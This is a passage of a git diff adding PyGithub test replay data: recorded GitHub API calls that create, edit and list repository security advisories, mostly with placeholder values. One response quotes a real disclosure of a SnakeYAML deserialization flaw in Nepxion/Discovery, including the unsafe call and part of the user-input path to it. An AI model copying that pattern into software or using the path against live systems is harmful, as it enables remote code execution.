description","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-2f23-hmjx-gm6h","type":"GHSA"}],"state":"draft","created_at":"2023-04-04T15:27:37Z","updated_at":"2023-04-04T15:27:37Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"maven","name":null},"vulnerable_version_range":null,"patched_versions":null,"vulnerable_functions":[]}],"cvss":{"vector_string":null,"score":null},"cwes":[],"cwe_ids":[],"credits":[],"credits_detailed":[]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"vulnerabilities": [{"package": {"ecosystem": "maven", "name": null}, "patched_versions": null, "vulnerable_functions": [], "vulnerable_version_range": null}, {"package": {"ecosystem": "npm", "name": "b-package"}, "patched_versions": "4.0.10", "vulnerable_functions": ["function-name-c"], "vulnerable_version_range": "<=4.0.9"}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6f5a7459d1855bc221f78575c32a76b17c9783accc7468362b719c49a8ed198f"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FEEC:4173:499069:95F1F0:642C41E9')] +{"ghsa_id":"GHSA-2f23-hmjx-gm6h","cve_id":null,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-2f23-hmjx-gm6h","summary":"A test creating a GHSA via the API adding and removing vulnerabilities","description":"Simple description","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-2f23-hmjx-gm6h","type":"GHSA"}],"state":"draft","created_at":"2023-04-04T15:27:37Z","updated_at":"2023-04-04T15:27:37Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"maven","name":null},"vulnerable_version_range":null,"patched_versions":null,"vulnerable_functions":[]},{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.9","patched_versions":"4.0.10","vulnerable_functions":["function-name-c"]}],"cvss":{"vector_string":null,"score":null},"cwes":[],"cwe_ids":[],"credits":[],"credits_detailed":[]} diff --git a/tests/ReplayData/RepositoryAdvisory.testCreateRepositoryAdvisory.txt b/tests/ReplayData/RepositoryAdvisory.testCreateRepositoryAdvisory.txt new file mode 100644 index 0000000000..3a7a7f9ad2 --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testCreateRepositoryAdvisory.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/JLLeitschuh/code-sandbox +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 12:46:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1680614071'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CCA5:93AD:1207CE:24DD3C:642C1C3F')] +{"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} + +https +POST +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"summary": "A test creating a GHSA via the API", "description": "This is a detailed description of this advisories impact and patches.", "cve_id": "CVE-2000-00000", "vulnerabilities": [{"package": {"ecosystem": "npm", "name": "b-package"}, "patched_versions": "4.0.5", "vulnerable_functions": ["function-name"], "vulnerable_version_range": "<=4.0.4"}], "cwe_ids": ["CWE-401", "CWE-502"], "credits": [{"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}], "severity": "high"} +201 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 12:46:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '4083'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"376385d7a3c5c35218eebdc110e1d5fa3a911158a18559041a40e4258ecbb351"'), ('Last-Modified', 'Tue, 04 Apr 2023 12:46:55 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('Location', 'https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1680614071'), ('X-RateLimit-Used', '28'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CCA6:5E9A:1357DE:277AC6:642C1C3F')] +{"ghsa_id":"GHSA-g45c-2crh-4xmp","cve_id":"CVE-2000-00000","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-g45c-2crh-4xmp","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-g45c-2crh-4xmp","type":"GHSA"},{"value":"CVE-2000-00000","type":"CVE"}],"state":"draft","created_at":"2023-04-04T12:46:55Z","updated_at":"2023-04-04T12:46:55Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.4","patched_versions":"4.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-401","name":"Missing Release of Memory after Effective Lifetime"},{"cwe_id":"CWE-502","name":"Deserialization of Untrusted Data"}],"cwe_ids":["CWE-401","CWE-502"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} diff --git a/tests/ReplayData/RepositoryAdvisory.testGetAdvisories.txt b/tests/ReplayData/RepositoryAdvisory.testGetAdvisories.txt new file mode 100644 index 0000000000..a4280f1e0a --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testGetAdvisories.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 21:59:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2f56de9a6e668493a583a01b2bf0ededa567b9fe42e26c812aa724bd9c4e048a"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F3CD:09C6:2B9B77:59F703:64260647')] +[ { "ghsa_id": "GHSA-wmmh-r9w4-hpxx", "cve_id": "CVE-2050-00000", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx", "summary": "A test creating a GHSA via the API", "description": "This is a detailed description of this advisories impact and patches.", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": null, "identifiers": [ { "value": "GHSA-wmmh-r9w4-hpxx", "type": "GHSA" }, { "value": "CVE-2050-00000", "type": "CVE" } ], "state": "draft", "created_at": "2023-03-28T21:41:40Z", "updated_at": "2023-03-28T21:41:40Z", "published_at": null, "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "npm", "name": "a-package" }, "vulnerable_version_range": ">= 1.0.2", "patched_versions": "1.0.5", "vulnerable_functions": [ "function-name" ] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H", "score": 7.6 }, "cwes": [ { "cwe_id": "CWE-400", "name": "Uncontrolled Resource Consumption" }, { "cwe_id": "CWE-501", "name": "Trust Boundary Violation" } ], "cwe_ids": [ "CWE-400", "CWE-501" ], "credits": [ { "login": "octocat", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "octocat", "id": 583231, "node_id": "MDQ6VXNlcjU4MzIzMQ==", "avatar_url": "https://avatars.githubusercontent.com/u/583231?v=4", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "pending" } ] }, { "ghsa_id": "GHSA-wvgm-59wj-rh8h", "cve_id": null, "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wvgm-59wj-rh8h", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wvgm-59wj-rh8h", "summary": "Testing GHSA creation", "description": "Example closed GHSA for testing\r\n", "severity": null, "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": null, "identifiers": [ { "value": "GHSA-wvgm-59wj-rh8h", "type": "GHSA" } ], "state": "closed", "created_at": "2023-01-26T19:33:30Z", "updated_at": "2023-02-02T17:58:59Z", "published_at": null, "closed_at": "2023-02-02T17:58:59Z", "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "", "name": "" }, "vulnerable_version_range": "", "patched_versions": "", "vulnerable_functions": [] } ], "cvss": { "vector_string": null, "score": null }, "cwes": [], "cwe_ids": [], "credits": [], "credits_detailed": [] }, { "ghsa_id": "GHSA-22cq-8f5q-p5g2", "cve_id": "CVE-2022-1471", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-22cq-8f5q-p5g2", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-22cq-8f5q-p5g2", "summary": "Nepxion/Discovery: Remote Code Execution via SnakeYAML Deserialization Gadgets", "description": "### Impact\r\n\r\nRemote Code Execution vulnerability in the \r\n\r\n### Vulnerability\r\n\r\nThis project leverages SnakeYAML to deserialize YAML input into java objects. Unfortunately, this library allows for arbitrary execution of code when deserializing untrusted user input.\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n

        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L160-L160).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 8 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L160-L160)\r\n
    @ApiOperation(value = \"根据Yaml格式,反解析版本蓝绿灰度发布策略为Json格式\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> convertVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doDeparseVersionReleaseYaml(conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L161-L161)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> convertVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doDeparseVersionReleaseYaml(conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L341-L341)\r\n
